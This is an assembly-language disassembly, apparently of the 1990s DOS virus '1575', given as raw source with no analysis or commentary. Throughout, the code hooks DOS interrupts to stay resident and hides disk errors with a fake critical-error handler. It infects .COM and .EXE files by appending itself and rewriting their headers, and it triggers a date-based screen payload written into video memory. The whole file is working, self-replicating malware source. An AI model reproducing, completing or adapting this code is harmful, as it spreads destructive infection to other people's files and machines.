PAGE 59,132 ;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ;ÛÛ ÛÛ ;ÛÛ 1575-E ÛÛ ;ÛÛ ÛÛ ;ÛÛ Created: 23-May-92 ÛÛ ;ÛÛ Passes: 5 Analysis Options on: none ÛÛ ;ÛÛ ÛÛ ;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ data_1e equ 6 data_2e equ 84h data_3e equ 86h data_4e equ 100h data_10e equ 31Fh data_12e equ 0 ;* data_13e equ 3 ;* data_14e equ 12h ;* data_15e equ 0 data_55e equ 0FA0h data_56e equ 6B0h data_57e equ 725h seg_a segment byte public assume cs:seg_a, ds:seg_a org 100h 1575-e proc far start: jmp short loc_4 db 90h data_17 dw 0B2Bh, 103Eh data_19 dw 0FF53h data_20 dw 0F000h data_21 db 0B4h db 2 data_22 dw 2AB2h data_23 dw 21CDh db 0CDh, 20h data_24 dw 0E5h db 3Dh, 02h,0FFh,0FFh data_25 dw 50Fh data_26 dw 100h db 26h,0D9h data_27 dw 100h data_28 dw 50Fh data_29 dw 480h data_30 dw 0 data_31 dw 0 data_32 dw 53F0h data_33 dw 5 data_34 dw 648Ch data_35 dw 789Fh data_36 dw 480h data_37 dw 0BD1h data_38 dw 1213h data_39 dw 0EA2h data_40 dw 5BFh data_41 db 4Dh data_42 db 31h db 68h, 7Dh, 02h,0FBh, 07h db 70h, 00h loc_ret_2: retn db 0E2h, 00h db 0F0h,0FBh, 07h, 70h, 00h loc_4: push es push ds mov ax,es push cs pop ds push cs pop es mov data_38,ax mov ax,ss mov data_33,ax std ; Set direction flag mov ax,7076h cld ; Clear direction xor ax,ax ; Zero register mov ds,ax xor si,si ; Zero register mov di,offset data_42 mov cx,10h repne movsb ; Rep zf=0+cx >0 Mov [si] to es:[di] push ds pop ss mov bp,8 xchg bp,sp call sub_2 jmp loc_27 loc_5: call sub_13 call sub_3 jz loc_6 ; Jump if zero mov al,data_53 push ax call sub_4 pop ax mov data_53,al jmp short loc_7 db 90h loc_6: call sub_6 call sub_7 cmp byte ptr data_53,0 jne loc_7 ; Jump if not equal mov ax,4C00h int 21h ; DOS Services ah=function 4Ch ; terminate with al=return code loc_7: cmp byte ptr data_53,43h ; 'C' jne loc_10 ; Jump if not equal loc_8: pop ds pop es push cs pop ds pop es push es mov di,data_4e mov si,offset data_21 mov cx,0Ch repne movsb ; Rep zf=0+cx >0 Mov [si] to es:[di] push es pop ds mov ax,100h push ax xor ax,ax ; Zero register retf ; Return far 1575-e endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_2 proc near mov si,data_1e lodsw ; String [si] to ax cmp ax,192h je loc_8 ; Jump if equal cmp ax,179h jne loc_9 ; Jump if not equal jmp loc_12 loc_9: cmp ax,1DCh je loc_10 ; Jump if equal retn loc_10: pop ds pop es mov bx,cs:data_25 sub bx,cs:data_36 mov ax,cs sub ax,bx mov ss,ax mov bp,cs:data_37 xchg bp,sp mov bx,cs:data_28 sub bx,cs:data_29 mov ax,cs sub ax,bx push ax mov ax,cs:data_30 push ax retf ; Return far data_43 db 23h db 1Ah db '<#/--!.$' db 0Eh, 23h, 2Fh, 2Dh,0E0h data_44 db 'A:MIO.COM', 0 db 58h, 45h, 00h, 00h, 00h db 24h, 24h, 24h, 24h, 24h ;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß sub_3: mov ax,3D02h mov dx,offset data_44 ; ('A:MIO.COM') int 21h ; DOS Services ah=function 3Dh ; open file, al=mode,name@ds:dx jnc loc_11 ; Jump if carry=0 clc ; Clear carry flag retn loc_11: mov data_33,ax mov dx,offset int_24h_entry mov ax,2524h int 21h ; DOS Services ah=function 25h ; set intrpt vector al to ds:dx mov ax,4202h mov bx,data_33 mov cx,0FFFFh mov dx,0FFFEh int 21h ; DOS Services ah=function 42h ; move file ptr, bx=file handle ; al=method, cx,dx=offset mov dx,offset data_45 mov ah,3Fh ; '?' mov bx,data_33 mov cx,2 int 21h ; DOS Services ah=function 3Fh ; read file, bx=file handle ; cx=bytes to ds:dx buffer mov ah,3Eh ; '>' int 21h ; DOS Services ah=function 3Eh ; close file, bx=file handle push ds mov dx,data_40 mov ax,data_39 mov ds,ax mov ax,2524h int 21h ; DOS Services ah=function 25h ; set intrpt vector al to ds:dx pop ds cmp data_45,0A0Ch clc ; Clear carry flag retn data_45 dw 20CDh loc_12: cmp ax,22Dh je loc_13 ; Jump if equal push ds pop es push cs pop ds mov ax,data_33 mov ss,ax xchg bp,sp mov si,offset data_42 mov di,data_15e mov cx,10h cld ; Clear direction repne movsb ; Rep zf=0+cx >0 Mov [si] to es:[di] jmp loc_5 sub_2 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_4 proc near loc_13: mov al,43h ; 'C' mov data_53,al mov al,8 out 70h,al ; port 70h, RTC addr/enabl NMI ; al = 8, month register in al,71h ; port 71h, RTC clock/RAM data mov data_41,al mov dx,offset data_44 ; ('A:MIO.COM') mov ax,3D02h int 21h ; DOS Services ah=function 3Dh ; open file, al=mode,name@ds:dx jnc loc_14 ; Jump if carry=0 retn loc_14: mov data_33,ax mov dx,offset data_21 mov bx,data_33 mov cx,0Ch mov ah,3Fh ; '?' int 21h ; DOS Services ah=function 3Fh ; read file, bx=file handle ; cx=bytes to ds:dx buffer mov ax,4202h xor cx,cx ; Zero register xor dx,dx ; Zero register int 21h ; DOS Services ah=function 42h ; move file ptr, bx=file handle ; al=method, cx,dx=offset push ax add ax,10h and ax,0FFF0h push ax shr ax,1 ; Shift w/zeros fill shr ax,1 ; Shift w/zeros fill shr ax,1 ; Shift w/zeros fill shr ax,1 ; Shift w/zeros fill mov di,data_10e stosw ; Store ax to es:[di] pop ax pop bx sub ax,bx mov cx,627h add cx,ax mov dx,100h sub dx,ax mov bx,data_33 mov ah,40h ; '@' int 21h ; DOS Services ah=function 40h ; write file bx=file handle ; cx=bytes from ds:dx buffer mov ax,4200h xor cx,cx ; Zero register xor dx,dx ; Zero register int 21h ; DOS Services ah=function 42h ; move file ptr, bx=file handle ; al=method, cx,dx=offset mov ah,40h ; '@' mov bx,data_33 mov cx,0Ch mov dx,offset data_46 int 21h ; DOS Services ah=function 40h ; write file bx=file handle ; cx=bytes from ds:dx buffer mov ah,3Eh ; '>' mov bx,data_33 int 21h ; DOS Services ah=function 3Eh ; close file, bx=file handle retn sub_4 endp data_46 db 0Eh db 8Ch,0C8h, 05h, 01h, 00h, 50h db 0B8h, 00h, 01h, 50h,0CBh ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_5 proc near mov al,45h ; 'E' mov data_53,al mov al,8 out 70h,al ; port 70h, RTC addr/enabl NMI ; al = 8, month register in al,71h ; port 71h, RTC clock/RAM data mov data_41,al mov dx,offset data_44 ; ('A:MIO.COM') mov ax,3D02h int 21h ; DOS Services ah=function 3Dh ; open file, al=mode,name@ds:dx jnc loc_15 ; Jump if carry=0 retn loc_15: mov data_33,ax mov dx,offset data_21 mov bx,data_33 mov cx,18h mov ah,3Fh ; '?' int 21h ; DOS Services ah=function 3Fh ; read file, bx=file handle ; cx=bytes to ds:dx buffer mov ax,4202h mov cx,0 mov dx,0 int 21h ; DOS Services ah=function 42h ; move file ptr, bx=file handle ; al=method, cx,dx=offset push ax add ax,10h adc dx,0 and ax,0FFF0h mov data_31,dx mov data_32,ax mov cx,727h sub cx,100h add ax,cx adc dx,0 mov cx,200h div cx ; ax,dx rem=dx:ax/reg inc ax mov data_23,ax mov data_22,dx mov ax,data_28 mov data_29,ax mov ax,data_27 mov data_30,ax mov ax,data_25 mov data_36,ax mov ax,data_26 mov data_37,ax mov dx,data_31 mov ax,data_32 mov cx,10h div cx ; ax,dx rem=dx:ax/reg sub ax,10h sub ax,data_24 mov data_28,ax mov data_25,ax mov data_27,100h mov data_26,100h mov ax,4200h xor cx,cx ; Zero register mov dx,2 int 21h ; DOS Services ah=function 42h ; move file ptr, bx=file handle ; al=method, cx,dx=offset mov dx,offset data_22 mov bx,data_33 mov cx,16h mov ah,40h ; '@' int 21h ; DOS Services ah=function 40h ; write file bx=file handle ; cx=bytes from ds:dx buffer mov ax,4202h xor cx,cx ; Zero register xor dx,dx ; Zero register int 21h ; DOS Services ah=function 42h ; move file ptr, bx=file handle ; al=method, cx,dx=offset mov dx,100h mov ax,data_32 pop cx sub ax,cx sub dx,ax mov cx,727h add cx,ax sub cx,100h mov ah,40h ; '@' int 21h ; DOS Services ah=function 40h ; write file bx=file handle ; cx=bytes from ds:dx buffer mov ah,3Eh ; '>' int 21h ; DOS Services ah=function 3Eh ; close file, bx=file handle retn sub_5 endp push cx mov cx,0 mov ah,4Eh ; 'N' int 21h ; DOS Services ah=function 4Eh ; find 1st filenam match @ds:dx pop cx retn ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_6 proc near push es mov ax,351Ch int 21h ; DOS Services ah=function 35h ; get intrpt vector al in es:bx mov cs:data_19,bx mov cs:data_20,es mov ax,3521h int 21h ; DOS Services ah=function 35h ; get intrpt vector al in es:bx push es pop ax mov word ptr cs:data_17+2,ax mov cs:data_17,bx pop es retn sub_6 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_7 proc near push ax push es push ds xor ax,ax ; Zero register mov es,ax mov si,data_3e mov ax,es:[si] mov ds,ax mov si,data_57e cmp word ptr [si],0A0Ch jne loc_16 ; Jump if not equal push ds pop ax call sub_14 pop ds pop es pop ax retn loc_16: push cs pop ds mov ax,data_38 dec ax mov es,ax cmp byte ptr es:data_12e,5Ah ; 'Z' nop ;*ASM fixup - sign extn byte je loc_17 ; Jump if equal jmp short loc_18 db 90h loc_17: mov ax,es:data_13e mov cx,737h shr cx,1 ; Shift w/zeros fill shr cx,1 ; Shift w/zeros fill shr cx,1 ; Shift w/zeros fill shr cx,1 ; Shift w/zeros fill sub ax,cx jc loc_18 ; Jump if carry Set mov es:data_13e,ax sub es:data_14e,cx push cs pop ds mov ax,es:data_14e push ax pop es mov si,100h push si pop di mov cx,627h cld ; Clear direction repne movsb ; Rep zf=0+cx >0 Mov [si] to es:[di] push es sub ax,ax mov es,ax mov si,data_2e mov dx,4A8h mov es:[si],dx inc si inc si pop ax mov es:[si],ax loc_18: pop ds pop es pop ax retn sub_7 endp cmp al,57h ; 'W' jne loc_19 ; Jump if not equal jmp short loc_22 db 90h loc_19: cmp ah,1Ah jne loc_20 ; Jump if not equal call sub_12 jmp short loc_22 db 90h loc_20: cmp ah,11h jne loc_21 ; Jump if not equal call sub_8 iret ; Interrupt return loc_21: cmp ah,12h jne loc_22 ; Jump if not equal call sub_11 iret ; Interrupt return loc_22: jmp dword ptr cs:data_17 ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_8 proc near mov al,57h ; 'W' int 21h ; DOS Services ah=function 00h ; terminate, cs=progm seg prefx push ax push cx push dx push bx push bp push si push di push ds push es push cs pop ds push cs pop es mov byte ptr cs:data_47,0 nop call sub_9 jnz loc_23 ; Jump if not zero call sub_3 jz loc_23 ; Jump if zero call sub_16 dec data_47 loc_23: pop es pop ds pop di pop si pop bp pop bx pop dx pop cx pop ax retn sub_8 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_9 proc near push cs pop es push cs pop es cld ; Clear direction call sub_10 jnc loc_24 ; Jump if carry=0 cmp di,0 retn loc_24: mov di,offset data_44 ; ('A:MIO.COM') mov al,2Eh ; '.' mov cx,0Bh repne scasb ; Rep zf=0+cx >0 Scan es:[di] for al cmp word ptr [di],4F43h jne loc_25 ; Jump if not equal cmp byte ptr [di+2],4Dh ; 'M' jne loc_25 ; Jump if not equal mov byte ptr data_53,43h ; 'C' nop retn loc_25: cmp word ptr [di],5845h jne loc_ret_26 ; Jump if not equal cmp byte ptr [di+2],45h ; 'E' jne loc_ret_26 ; Jump if not equal mov byte ptr data_53,45h ; 'E' nop loc_ret_26: retn sub_9 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_10 proc near loc_27: push ds mov si,cs:data_34 mov ax,cs:data_35 mov ds,ax mov di,offset data_44 ; ('A:MIO.COM') lodsb ; String [si] to al cmp al,0FFh jne loc_28 ; Jump if not equal add si,6 lodsb ; String [si] to al jmp short loc_29 db 90h loc_28: cmp al,5 jb loc_29 ; Jump if below pop ds stc ; Set carry flag retn loc_29: mov cx,0Bh cmp al,0 je locloop_30 ; Jump if equal add al,40h ; '@' stosb ; Store al to es:[di] mov al,3Ah ; ':' stosb ; Store al to es:[di] locloop_30: lodsb ; String [si] to al cmp al,20h ; ' ' je loc_31 ; Jump if equal stosb ; Store al to es:[di] jmp short loc_32 db 90h loc_31: cmp byte ptr es:[di-1],2Eh ; '.' je loc_32 ; Jump if equal mov al,2Eh ; '.' stosb ; Store al to es:[di] loc_32: loop locloop_30 ; Loop if cx > 0 mov al,0 stosb ; Store al to es:[di] pop ds clc ; Clear carry flag retn sub_10 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_11 proc near mov al,57h ; 'W' int 21h ; DOS Services ah=function 00h ; terminate, cs=progm seg prefx push ax push cx push dx push bx push bp push si push di push ds push es push cs pop ds push cs pop es cmp byte ptr cs:data_47,0 je loc_33 ; Jump if equal jmp short loc_34 db 90h loc_33: call sub_9 jnz loc_34 ; Jump if not zero call sub_3 jz loc_34 ; Jump if zero call sub_16 dec data_47 pop es pop ds pop di pop si pop bp pop bx pop dx pop cx pop ax retn loc_34: pop es pop ds pop di pop si pop bp pop bx pop dx pop cx pop ax retn sub_11 endp data_47 db 0 ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_12 proc near push ax push ds pop ax mov cs:data_35,ax mov cs:data_34,dx pop ax retn sub_12 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_13 proc near push cs mov al,0 out 20h,al ; port 20h, 8259-1 int command mov ax,3524h int 21h ; DOS Services ah=function 35h ; get intrpt vector al in es:bx mov data_40,bx mov bx,es mov data_39,bx pop es mov si,offset data_43 mov di,offset data_44 ; ('A:MIO.COM') mov cx,0Fh locloop_35: lodsb ; String [si] to al add al,20h ; ' ' stosb ; Store al to es:[di] loop locloop_35 ; Loop if cx > 0 retn sub_13 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_14 proc near push ax push cs pop ds push cs pop es mov bl,data_41 cmp bl,0Ch ja loc_37 ; Jump if above cmp bl,0 je loc_37 ; Jump if equal mov al,8 out 70h,al ; port 70h, RTC addr/enabl NMI ; al = 8, month register in al,71h ; port 71h, RTC clock/RAM data cmp al,0Ch ja loc_37 ; Jump if above cmp al,0 je loc_37 ; Jump if equal cmp al,bl je loc_37 ; Jump if equal inc bl call sub_15 cmp al,bl je loc_37 ; Jump if equal inc bl call sub_15 cmp al,bl je loc_37 ; Jump if equal pop ds call sub_17 push cs pop ds retn ;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß sub_15: cmp bl,0Ch jbe loc_ret_36 ; Jump if below or = sub bl,0Ch loc_ret_36: retn loc_37: pop ax retn sub_14 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_16 proc near mov dx,offset int_24h_entry mov ax,2524h int 21h ; DOS Services ah=function 25h ; set intrpt vector al to ds:dx cmp byte ptr data_53,43h ; 'C' jne loc_38 ; Jump if not equal call sub_4 jmp short loc_39 db 90h loc_38: call sub_5 loc_39: push ds mov dx,data_40 mov ax,data_39 mov ds,ax mov ax,2524h int 21h ; DOS Services ah=function 25h ; set intrpt vector al to ds:dx pop ds retn sub_16 endp ;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; ; External Entry Point ; ;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ int_24h_entry proc far mov al,3 iret ; Interrupt return int_24h_entry endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_17 proc near ;* mov dx,offset loc_47 ;* db 0BAh,0B0h, 06h mov ax,251Ch int 21h ; DOS Services ah=function 25h ; set intrpt vector al to ds:dx mov byte ptr ds:data_56e,90h nop mov ax,0B800h mov es,ax mov di,data_55e mov ax,720h mov cx,0Bh repne stosw ; Rep zf=0+cx >0 Store ax to es:[di] push cs pop es retn sub_17 endp db 0, 0 data_48 db 0 data_49 dw 720h data_50 db 0Fh db 0Ah, 0Fh, 0Ah, 0Fh, 0Ah, 0Fh db 0Ah, 0Fh, 0Ah, 0Fh, 0Ah, 0Fh db 0Ah, 0Fh, 08h,0FEh, 0Eh data_51 db 0EEh db 0Ch data_52 db 90h db 0FBh, 50h, 51h, 52h, 53h, 55h db 56h, 57h, 1Eh, 06h, 0Eh, 1Fh db 0EBh, 0Bh, 90h loc_40: pop es pop ds pop di pop si pop bp pop bx pop dx pop cx pop ax iret ; Interrupt return db 0B8h, 00h,0B8h, 8Eh,0C0h db 0BFh,0A0h, 0Fh db 0BEh, 9Ah, 06h,0B9h, 16h, 00h db 0F2h,0A4h, 80h, 3Eh,0AEh, 06h db 0EEh, 74h, 08h,0C6h, 06h,0AEh db 06h,0EEh,0EBh, 06h, 90h loc_42: mov data_51,0F0h loc_43: mov ax,es:[di] mov ah,0Eh mov data_49,ax mov data_48,0 jmp short loc_40 db 0BFh, 00h, 00h loc_44: mov si,offset data_50 push di mov cx,12h cld ; Clear direction repe cmpsb ; Rep zf=1+cx >0 Cmp [si] to es:[di] pop di jz loc_45 ; Jump if zero inc di inc di cmp di,0FA0h jne loc_44 ; Jump if not equal mov di,0 loc_45: cmp di,0F9Eh jne loc_ret_46 ; Jump if not equal mov data_52,0CFh loc_ret_46: retn data_53 db 43h db 0Ch, 0Ah, 45h, 00h,0CBh, 87h db 0BFh, 1Dh, 25h, 1Eh, 57h, 9Ah db 83h, 00h,0CBh, 87h,0E8h db 2Eh seg_a ends end start